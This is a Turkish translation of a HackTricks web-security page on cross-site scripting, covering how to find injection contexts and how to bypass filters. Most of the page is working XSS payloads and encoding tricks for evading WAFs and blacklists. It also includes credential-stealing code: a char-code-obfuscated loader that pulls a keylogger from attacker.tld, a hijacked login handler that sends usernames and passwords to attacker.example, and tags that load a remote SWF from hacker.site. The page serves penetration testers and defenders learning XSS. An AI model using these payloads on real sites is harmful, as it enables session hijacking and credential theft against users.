XSS (Cross Site Scripting)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Metodoloji

  1. HTML’de yansıtılan veya JS kodu tarafından kullanılan herhangi bir değeri (parameters, path, headers?, cookies?) kontrol ettiğinizden emin olun.
  2. Yansıtıldığı/kullanıldığı bağlamı bulun.
  3. Eğer yansıtılıyorsa
  4. Hangi sembolleri kullanabildiğinize bakın ve buna göre payload’u hazırlayın:
  5. Raw HTML içinde:
  6. Yeni HTML tag’leri oluşturabilir misiniz?
  7. javascript: protokolünü destekleyen event veya attribute’ları kullanabilir misiniz?
  8. Korumasını bypass edebilir misiniz?
  9. HTML içeriği herhangi bir client side JS motoru (AngularJS, VueJS, Mavo…) tarafından yorumlanıyorsa, bir Client Side Template Injection suistimal edebilirsiniz.
  10. JS kodu çalıştıran HTML tag’leri oluşturamıyorsanız, Dangling Markup - HTML scriptless injection suistimal edilebilir mi?
  11. Bir HTML tag içinde:
  12. Attribute’tan ve tag’den çıkarak raw HTML bağlamına geçebilir misiniz?
  13. JS kodu çalıştıracak yeni event/attribute’lar oluşturabilir misiniz?
  14. Sıkıştığınız attribute JS çalıştırmayı destekliyor mu?
  15. Korumasını bypass edebilir misiniz?
  16. JavaScript kodu içinde:
  17. <script> tag’inden kaçabilir misiniz?
  18. String’ten kaçıp farklı JS kodu çalıştırabilir misiniz?
  19. Girdiğiniz template literal’lar içinde mi (``)?
  20. Korumasını bypass edebilir misiniz?
  21. Çalıştırılan bir Javascript function ise
  22. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örn: ?callback=alert(1)
  23. Eğer kullanılıyorsa:
  24. Bir DOM XSS suistimal edebilirsiniz, girdinizin nasıl kontrol edildiğine ve kontrolünüz altındaki girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına dikkat edin.

Karmaşık bir XSS üzerinde çalışırken ilginizi çekebilecek konular:

Debugging Client Side JS

Yansıtılan değerler

Bir XSS’i başarılı şekilde exploit etmek için ilk bulmanız gereken şey, web sayfasında sizin kontrolünüzde olup yansıtılan bir değerdir.

  • Ara şekilde yansıtılan: Eğer bir parametrenin veya hatta path’in değeri web sayfasında yansıtılıyorsa Reflected XSS’i exploit edebilirsiniz.
  • Kaydedilmiş ve yansıtılan: Eğer kontrolünüzdeki bir değer sunucuda saklanıyor ve her sayfa erişiminde yansıtılıyorsa Stored XSS’i exploit edebilirsiniz.
  • JS ile erişilen: Eğer kontrolünüzdeki bir değere JS aracılığıyla erişiliyorsa DOM XSS’i exploit edebilirsiniz.

Bağlamlar

Bir XSS’i exploit etmeye çalışırken ilk bilmeniz gereken, girdinizin nerede yansıtıldığıdır. Bağlama bağlı olarak, keyfi JS kodunu farklı yollarla çalıştırabilirsiniz.

Raw HTML

Girdiniz raw HTML içinde yansıtılıyorsa JS kodu çalıştırmak için bazı HTML tag’lerini suistimal etmeniz gerekir: <img , <iframe , <svg , <script … bunlar kullanabileceğiniz birçok HTML tag’inden sadece bazılarıdır.
Ayrıca Client Side Template Injection unutmayın.

HTML tag’larının attribute’ı içinde

Girdiniz bir tag’ın attribute değerinin içinde yansıtılıyorsa deneyebileceğiniz şeyler:

  1. Attribute’tan ve tag’den kaçıp raw HTML bağlamına geçmek (sonra yeni bir HTML tag oluşturup suistimal etmek): "><img [...]
  2. Eğer attribute’tan kaçabiliyor ancak tag’den kaçamıyorsanız (> encode edilmiş veya silinmişse), tag’a bağlı olarak JS kodu çalıştıran bir event oluşturabilirsiniz: " autofocus onfocus=alert(1) x="
  3. Eğer attribute’tan kaçamıyorsanız (" encode ediliyor veya siliniyorsa), hangi attribute içinde yansıtıldığına ve tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak bunu suistimal edebilirsiniz. Örneğin, onclick= gibi bir event kontrol ediyorsanız, tıklama ile arbitrary kod çalıştırabilirsiniz. Bir diğer ilginç örnek href attribute’udur; javascript: protokolünü kullanarak arbitrary kod çalıştırabilirsiniz: href="javascript:alert(1)"
  4. Girdiniz “suistimal edilemeyen tag’lar” içinde yansıtılıyorsa, vuln’u suistimal etmek için accesskey hilesini deneyebilirsiniz (bunu exploit etmek için bir tür sosyal mühendislik gerekebilir): " accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

Kurumsal bir SSO login sayfası, OAuth service parametresini <a id="forgot_btn" ...> içindeki href attribute’unda yansıtıyordu. < ve > HTML encode edilmiş olsa da çift tırnaklar edilmemişti, bu yüzden saldırgan attribute’u kapatıp aynı elementi handler eklemek için yeniden kullanabiliyordu: " onfocus="payload" x=".

  1. Handler’ı inject etmek: Basit payload’lar like onclick="print(1)" engellendi, fakat WAF sadece inline attribute’lardaki ilk JavaScript ifadesini inceliyordu. Zararsız bir ifade parantez içinde başa ekleyip sonra noktalı virgül koymak, gerçek payload’un çalışmasına izin verdi: onfocus="(history.length);malicious_code_here".
  2. Otomatik tetiklemek: Tarayıcılar fragment ile eşleşen id’ye sahip herhangi bir elementi focus eder, bu yüzden exploit URL’sine #forgot_btn eklemek anchor’ı sayfa yüklenirken focus ettirir ve click gerektirmeden handler çalışır.
  3. Inline stub’u küçük tutmak: Hedef zaten jQuery gönderiyordu. Handler sadece $.getScript(...) ile bir isteği başlatmak için yeterliydi; asıl keylogger saldırganın sunucusundaydı.

Tırnak kullanmadan string oluşturma

Single quote’lar URL-encoded olarak dönüyor ve escape edilmiş double quote’lar attribute’u bozduğu için payload her string’i String.fromCharCode ile üretti. Herhangi bir URL’i attribute’a yapıştırmadan önce char kodlarına çevirmeyi kolaylaştıran bir helper fonksiyonu kullanışlı olur:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

Ortaya çıkan attribute şöyle görünüyordu:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

Neden bu credentials çalar

Dış script (loaded from an attacker-controlled host or Burp Collaborator) document.onkeypress’i hook’ladı, tuş vuruşlarını belleğe aldı ve her saniye new Image().src = collaborator_url + keys çalıştırdı. Çünkü XSS yalnızca unauthenticated users için tetiklendiği için, hassas işlem login formunun kendisidir — attacker, usernames ve passwords’u keylogs eder hatta victim “Login” tuşuna hiç basmasa bile.

Angular’ın bir class name’i kontrol edebiliyorsanız XSS çalıştırmasına dair garip örnek:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

JavaScript kodu içinde

Bu durumda girdiğiniz bir HTML sayfasının <script> [...] </script> etiketleri arasına, bir .js dosyasına veya javascript: protokolünü kullanan bir attribute içine yansıtılır:

  • Eğer yansıtma <script> [...] </script> etiketleri arasındaysa, girişiniz her ne kadar herhangi bir tür tırnak içinde olsa bile </script> enjekte edip bu bağlamdan kaçmayı deneyebilirsiniz. Bunun nedeni tarayıcının önce HTML etiketlerini parse etmesi ve sonra içeriği işlemesidir; bu yüzden enjekte ettiğiniz </script> etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
  • Eğer giriş bir JS stringi içinde yansıtıldıysa ve önceki hile işe yaramıyorsa, stringden çıkmanız, kodunuzu çalıştırmanız ve JS kodunu yeniden oluşturmanız gerekir (herhangi bir hata olursa, çalıştırılmayacaktır:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Eğer template literals içinde yansıtıldıysa ${ ... } sözdizimini kullanarak JS ifadelerini gömebilirsiniz: var greetings = `Hello, ${alert(1)}`
  • Unicode encode geçerli javascript kodu yazmak için işe yarar:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting, bir XSS’in tanımlanmamış değişkenleri veya fonksiyonları kullandığı senaryolarda kötüye kullanabilmeniz için fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra tanımlama fırsatını ifade eder.
Daha fazla bilgi için aşağıdaki sayfaya bakın:

JS Hoisting

Javascript Function

Bazı web sayfalarının, çalıştırılacak fonksiyonun adını parametre olarak kabul eden endpoint’leri vardır. Gerçek ortamda sık görülen bir örnek şöyle: ?callback=callbackFunc.

Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalıştırılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmek (ör. ‘Vulnerable’ yapmak) ve konsolda şu gibi hatalara bakmaktır:

Eğer zafiyet varsa, değeri göndererek basitçe bir uyarı tetikleyebilirsiniz: ?callback=alert(1). Ancak, bu endpoint’lerin içeriği genellikle sadece harf, sayı, nokta ve alt çizgi izin verecek şekilde doğruladığını görmek yaygındır ([\w\._]).

Ancak bu sınırlama olsa bile bazı eylemleri gerçekleştirmek hâlâ mümkündür. Bunun nedeni, geçerli karakterleri kullanarak DOM’daki herhangi bir öğeye erişebilmenizdir:

Bunun için bazı kullanışlı fonksiyonlar:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Ayrıca Javascript fonksiyonlarını doğrudan tetiklemeyi deneyebilirsiniz: obj.sales.delOrders.

Ancak, genellikle belirtilen fonksiyonu çalıştıran endpoints ilginç bir DOM’a sahip değildir; aynı origin içindeki diğer sayfalar daha fazla işlem yapmak için daha ilginç bir DOM barındırır.

Bu yüzden, bu zafiyeti farklı bir DOM’da kötüye kullanmak için Same Origin Method Execution (SOME) istismarı geliştirildi:

SOME - Same Origin Method Execution

DOM

Bazı JS kodu, location.href gibi bir saldırgan tarafından kontrol edilen veriyi güvenli olmayan şekilde kullanıyor. Bir saldırgan bunu keyfi JS kodu çalıştırmak için kötüye kullanabilir.

DOM XSS

Universal XSS

Bu tür XSS’ler her yerde bulunabilir. Bunlar yalnızca bir web uygulamasının istemci tarafı istismarına bağlı değildir; herhangi bir context üzerinde etkili olabilir. Bu tür keyfi JavaScript yürütmeleri hatta RCE elde etmek, istemci ve sunuculardaki keyfi dosyaları okumak ve daha fazlası için kötüye kullanılabilir.
Bazı örnekler:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Ham HTML içine enjeksiyon

When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it’s being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
For this cases also keep in mind Client Side Template Injection.
Not: Bir HTML yorumu şu şekilde kapatılabilir kullanılarak****-->****veya **--!>****

Bu durumda ve herhangi bir kara/beyaz listeleme yoksa, şu payloads’ları kullanabilirsiniz:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Ama, eğer tags/attributes black/whitelisting kullanılıyorsa, hangi tags’i oluşturabileceğinizi brute-force etmeniz gerekecek.
Hangi tags’in izinli olduğunu tespit ettikten sonra, bulunan geçerli tag’lerin içinde attributes/events’i brute-force ederek bağlamı nasıl istismar edebileceğinizi görmeniz gerekecek.

Tags/Events brute-force

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

Custom tags

Eğer geçerli hiçbir HTML tag’i bulamadıysanız, özel bir tag oluşturmayı deneyebilir ve onfocus attribute’u ile JS kodu çalıştırabilirsiniz. XSS isteğinde, sayfanın o nesneye odaklanmasını ve kodu çalıştırmasını sağlamak için URL’yi # ile bitirmeniz gerekir:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Eğer bir tür blacklist kullanılıyorsa, bazı basit hilelerle bunu bypass etmeyi deneyebilirsin:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Farklı ortamlar için daha fazla tiny XSS payload can be found here ve here.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Sonuncusu 2 unicode karakteri kullanıyor ve 5’e genişliyor: telsr
Bu tür daha fazla karakteri here.
Hangi karakterlere ayrıldığını kontrol etmek için here adresine bakın.

Click XSS - Clickjacking

Eğer zafiyeti istismar etmek için kullanıcının önceden doldurulmuş bir linke veya forma tıklaması gerekiyorsa, sayfa zayıfsa abuse Clickjacking deneyebilirsiniz.

Impossible - Dangling Markup

Eğer bir HTML etiketi oluşturup bir attribute ile JS kodu çalıştırmanın imkansız olduğunu düşünüyorsanız, Danglig Markup bölümüne bakmalısınız çünkü zafiyeti exploit etmeden JS çalıştırmadan kullanabilirsiniz.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Eğer bir HTML taginin içindeyseniz, ilk yapmanız gereken tag’den escape etmek ve JS kodu çalıştırmak için previous section bölümünde bahsedilen tekniklerden bazılarını kullanmaktır.
Eğer tag’den escape edemiyorsanız, tag içinde yeni attribute’ler oluşturarak JS kodu çalıştırmayı deneyebilirsiniz; örneğin şu tür bir payload kullanarak (not: bu örnekte attribute’den kaçmak için çift tırnak kullanılmıştır, girdiniz doğrudan tag içinde yansıtılıyorsa bunlara ihtiyacınız olmayacaktır):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Stil olayları

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Öznitelik içinde

Even if you öznitelikten kaçamıyorsanız (" is being encoded or deleted), değerinize hangi öznitelikte yansıtıldığına ve tüm değeri mi yoksa yalnızca bir kısmını mı kontrol ettiğinize bağlı olarak bunu kötüye kullanabilirsiniz. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it’s clicked.
Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"

Bypass: event içinde HTML encoding/URL encode kullanımı

The HTML encoded characters inside the value of HTML tags attributes are çalışma zamanında çözülür. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Note that her türlü HTML encode geçerlidir:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

URL encode’in de çalışacağını unutmayın:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Unicode encode kullanarak event içinde bypass

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Öznitelik İçindeki Özel Protokoller

Burada bazı yerlerde javascript: veya data: protokollerini kullanarak herhangi bir JS kodunu çalıştırabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları gerektirmeyecek.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Bu protokolleri enjekte edebileceğiniz yerler

Genel olarak javascript: protokolü attribute href’i kabul eden herhangi bir tag’te kullanılabilir ve çoğu attribute src’u kabul eden tag’larda (ama <img>’de değil)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Diğer obfuscation hileleri

Bu durumda, önceki bölümdeki HTML encoding ve Unicode encoding hilesi de geçerlidir çünkü bir attribute içindesiniz.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Ayrıca, bu durumlar için başka bir güzel numara daha var: javascript:... içindeki girdiniz URL encoded olsa bile, yürütülmeden önce URL decoded edilir. Bu yüzden, eğer escape ile string’den single quote kullanarak çıkmanız gerekiyorsa ve bunun URL encoded olduğunu görüyorsanız, unutmayın ki önemli değil, yürütme zamanında single quote olarak yorumlanacaktır.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Dikkat: Eğer URLencode + HTMLencode’i herhangi bir sırayla her ikisini de kullanarak payload’ı kodlamayı denerseniz, bu çalışmayacaktır, ancak payload içinde bunları karıştırabilirsiniz.

javascript: ile Hex ve Octal encode kullanımı

En azından iframe’in src özniteliği içinde Hex ve Octal encode kullanarak JS çalıştırmak için HTML tag’leri tanımlayabilirsiniz:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Eğer herhangi bir URL’yi rastgele bir <a href= etiketine enjekte edebiliyorsanız ve bu etiket target="_blank" and rel="opener" özniteliklerini içeriyorsa, bu davranışı suistimal etmek için aşağıdaki sayfayı kontrol edin:

Reverse Tab Nabbing

on Event Handlers Bypass

Öncelikle bu sayfayı (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) kullanışlı “on” event handlers için kontrol edin.
Eğer bir blacklist bu event handler’ları oluşturmanızı engelliyorsa, aşağıdaki bypass’leri deneyebilirsiniz:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Bu here kaynağa göre hidden inputları artık şu yöntemlerle kötüye kullanmak mümkün:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Ve meta etiketlerinde:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Şuradan here: Bir XSS payload inside a hidden attribute çalıştırabilirsiniz; bunun için victim’i key combination tuşlarına basmaya ikna etmeniz gerekir. Firefox Windows/Linux’ta tuş kombinasyonu ALT+SHIFT+X’dir; OS X’te CTRL+ALT+X’dir. access key attribute içinde farklı bir anahtar kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload şu şekilde olacak: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Bu bölümde farklı encoding kullanımıyla ilgili birkaç numara zaten gösterildi. Geri dönerek nerede kullanabileceğinizi öğrenin:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Önceki bölümün Blacklist Bypasses of the previous section kısmını okuyun.

Bypasses for JavaScript code

Aşağıdaki bölümün JavaScript bypass blacklist of the following section kısmını okuyun.

CSS-Gadgets

Eğer web’in çok küçük bir bölümünde etkileşim gerektiren bir XSS bulduysanız (ör. footer’da onmouseover içeren küçük bir link), linkin tetiklenme olasılığını artırmak için o elementin kapladığı alanı değiştirmeyi deneyebilirsiniz.

Örneğin, elemente şu tarz bir stil ekleyebilirsiniz: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ancak, eğer WAF style attribute’unu filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin şunları bulursanız

.test {display:block; color: blue; width: 100%}

ve

#someid {top: 0; font-family: Tahoma;}

Şimdi linkimizi şu şekilde değiştirebilirsiniz

<a href=“” id=someid class=test onclick=alert() a=“”>

Bu hile şu kaynaktan alınmıştır: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

Bu durumda sizin input’unuz bir .js dosyasının JS kodu içine veya <script>...</script> etiketleri arasına ya da JS çalıştırabilecek HTML event’leri arasına veya javascript: protokolünü kabul eden attribute’lar arasına yansıtılacaktır.

Escaping <script> tag

Eğer kodunuz <script> [...] var input = 'reflected data' [...] </script> içerisinde yer alıyorsa, kolayca closing the <script> etiketinden kaçış yapabilirsiniz:

</script><img src=1 onerror=alert(document.domain)>

Note that in this example we tek tırnağı bile kapatmadığımızı unutmayın. Bunun nedeni HTML ayrıştırmasının önce tarayıcı tarafından yapılmasıdır, bu işlem sayfa öğelerini, script blokları da dahil olmak üzere belirlemeyi içerir. Gömülü script’leri anlamak ve yürütmek için JavaScript’in ayrıştırılması ise ancak daha sonra gerçekleştirilir.

JS kodu içinde

Eğer <> temizleniyorsa, girdinizin bulunduğu yerde hala string’i escape ederek ve keyfi JS çalıştırarak işlem yapabilirsiniz. JS sözdizimini düzeltmek önemlidir; çünkü herhangi bir hata varsa JS kodu çalıştırılmayacaktır:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Kullanıcı girdisi tırnak içinde bir JavaScript stringine düştüğünde (örn. server-side echo ile inline bir script’e), stringi sonlandırup kod enjekte edebilir ve sözdizimini geçerli tutmak için onarabilirsiniz. Genel iskelet:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Zafiyetli parametrenin bir JS string’ine yansıtıldığı durum için örnek URL deseni:

?param=test";<INJECTION>;a="

Bu, HTML bağlamına dokunmaya gerek kalmadan saldırgan JS’nin çalıştırılmasını sağlar (saf JS-in-JS). Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.

Template literals ``

Tek tırnak ve çift tırnaktan ayrı olarak strings oluşturmak için JS ayrıca backticks `` kabul eder. Buna template literals denir çünkü ${ ... } sözdizimini kullanarak gömülü JS ifadelerine izin verir.
Bu nedenle, girdinizin backticks kullanan bir JS string’i içinde yansıtılıyor ise, ${ ... } sözdizimini istismar ederek arbitrary JS code çalıştırabilirsiniz:

Bu, abused edilerek şu şekilde yapılabilir:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Encoded code yürütme

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Teslim edilebilir payloads ile eval(atob()) ve scope nüansları

URL’leri daha kısa tutmak ve basit anahtar kelime filtrelerini atlatmak için gerçek mantığınızı base64 ile kodlayıp eval(atob('...')) ile çalıştırabilirsiniz. Eğer basit anahtar kelime filtreleri alert, eval veya atob gibi tanımlayıcıları engelliyorsa, tarayıcıda aynı şekilde derlenen ancak dize-eşleme filtrelerini atlatan Unicode-kaçışlı tanımlayıcılar kullanın:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Önemli kapsam farkı: eval() içinde tanımlanan const/let blok kapsamlıdır ve global değişkenler oluşturmazlar; daha sonraki scriptlerden erişilemezler. Gerektiğinde global, yeniden bağlanamaz hook’ları tanımlamak için dinamik olarak enjekte edilmiş bir <script> elementi kullanın (ör. bir form handler’ını ele geçirmek için):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referans: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode Encode ile JS yürütme

alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists teknikleri

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Özel kaçışlar

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

JS kodu içindeki boşlukların yerine koyulması

<TAB>
/**/

JavaScript comments (kaynak: JavaScript Comments hile)
